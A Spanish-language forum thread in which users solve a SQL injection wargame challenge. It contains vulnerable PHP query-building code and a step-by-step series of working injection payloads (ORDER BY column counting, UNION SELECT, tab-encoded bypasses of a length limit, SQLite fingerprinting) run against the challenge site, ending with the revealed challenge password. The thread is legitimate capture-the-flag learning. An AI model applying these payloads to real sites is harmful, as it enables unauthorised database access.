Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Shell Root en 6 Marzo 2015, 16:49 pm



Título: Duda con reto de iSQL
Publicado por: Shell Root en 6 Marzo 2015, 16:49 pm
Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL. El script es esté:

NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost
Código
  1.    if ( !empty( $_GET['buscar'] ) ){
  2.        $buscar = (string) stripslashes( $_GET['buscar'] );
  3.  
  4.        if ( 40 < strlen($buscar) )
  5.            die('Hacker!');
  6.  
  7.        $palabras = explode( ' ', $buscar );
  8.        if ( 3 < count($palabras) )
  9.            die('No se permiten mas de 3 palabras en la busqueda.');
  10.  
  11.        #$consulta = 'SELECT * FROM diccionario WHERE';
  12.        $consulta = 'SELECT * FROM tbl WHERE';
  13.        foreach( (array) $palabras as $palabra )
  14.            $consulta .= " nombre LIKE '%{$palabra}%' OR";
  15.            #$consulta .= " yrClaves LIKE '%{$palabra}%' OR";
  16.  
  17.        $consulta = substr( $consulta, 0, -3 );
  18.        $consulta .= " LIMIT 1;";
  19.    }else{
  20.        $consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;';
  21.    }
  22.  
  23.    # Esto es para mi localhost
  24.    $cnn = mysql_connect("127.0.0.1", "root", "");
  25.    $db = mysql_select_db("PoC");
  26.    $query = mysql_query($consulta);
  27.    if( $query !== false ){
  28.        $data = mysql_fetch_array($query);
  29.    }

El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera,
Código
  1. 5'%09union%09select%09@@version,2%09%23
Para que la query quede de la siguiente manera,
Código
  1. SELECT * FROM tbl WHERE nombre LIKE '%5' UNION SELECT @@version,2 #%' LIMIT 1;
En mi caso el resultado es: 5.6.21

El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==


Título: Re: Duda con reto de iSQL
Publicado por: ivancea96 en 6 Marzo 2015, 23:02 pm
Cómo haces para saltarte el count de palabras>3? xD



EDITO: Vale, ya vi, ignórame xD


Título: Re: Duda con reto de iSQL
Publicado por: Shell Root en 16 Marzo 2015, 17:28 pm
No he podido pillar que es lo que pasa, supongo que mi mysql es diferente al que tengo y por eso en mis pruebas lo he pasado, pero en el del reto no. Alguna idea?

PD: Ahora tengo que bypassear esto, no tengo la obsoluta idea de como pasarlo.
Código
  1. $usuario = (!get_magic_quotes_gpc())?addslashes($_POST['user']):$_POST['user'];


Título: Re: Duda con reto de iSQL
Publicado por: WHK en 15 Abril 2015, 04:56 am
Recuerda que al final le quitan 3 carácteres por el "OR". Agregale 3 carácteres vacios extras:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=s%%27%09order%09by%094%09--09%09%09%09

Con 4 columnas renorna el valor, con 5 no, por lo cual la tabla tiene 4 columnas:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,4%09--09%09%09%09

También puedes hacer una continuación de la consulta en ves de finalizarla para ganar mas espacio de carácteres (ya que te limita a 40):

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,%274

Al final las única columna que retornan valores acortando la consulta final es el 3

Igual está raro si, no resuelve nada, ni user() ni @@version ni si quiera un concat:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,concat%28%27c%27%29,%274

Será sqlite?

www.yashira.org/ReTos/All/167/diccionario.php?buscar=1'%09union%09select%091,2,'a'||'b','4

Bingo! sqlite concatena strings utilizando el operador OR en símbolo ||, asi que puse 'a'||'b' y me retornó "ab".

Ahora si, a continuar con la inyección, usamos la función sqlite_version() para retornar la versión de la base de datos:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=%27%09union%09select%091,2,sqlite_version%28%29,%274

Y listo:

Citar
Congrats!, Password: e98f1ae3f5bdeab2d89d8c928723a9f9

Citar
Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL

Donde dice MySQL?

Saludos.


Título: Re: Duda con reto de iSQL
Publicado por: Shell Root en 15 Abril 2015, 14:23 pm
Pues tienes toda la pinche razón jajajaj me deje llevar y pense que era MySQL. Y es más, dentro del código dice que es:
Código
  1. $db = new PDO( 'sqlite:diccionario.sqlite' );